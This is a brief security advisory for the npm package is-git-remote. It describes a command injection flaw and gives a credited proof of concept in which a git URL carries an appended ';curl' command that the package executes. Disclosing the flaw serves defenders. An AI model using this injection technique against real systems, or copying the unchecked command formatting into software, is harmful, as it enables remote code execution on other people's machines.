is-git-remote

vulnerability command injection
severity 3.8
language javascript
registry npm

Overview

The issue occurs because a user input is formatted inside a command that will be executed without any check.

Proof of Concept (Credit: Mik317)

  1. Create the following PoC file:
// poc.js
const isGitRemote = require("is-git-remote");
isGitRemote.default(
  'https://github.com/Mik317/PyScan.git;curl "http://localhost/RCE"'
);
  1. Run a py server in order to verify the cUrl command: python3 -m http.server 80
  2. Execute the following commands in another terminal:
npm i is-git-remote # Install affected module
git init # Avoid problems with the file validation
node poc.js #  Run the PoC
  1. The cUrl command will be executed ... and the py server will receive a request to the http://localhost/RCE address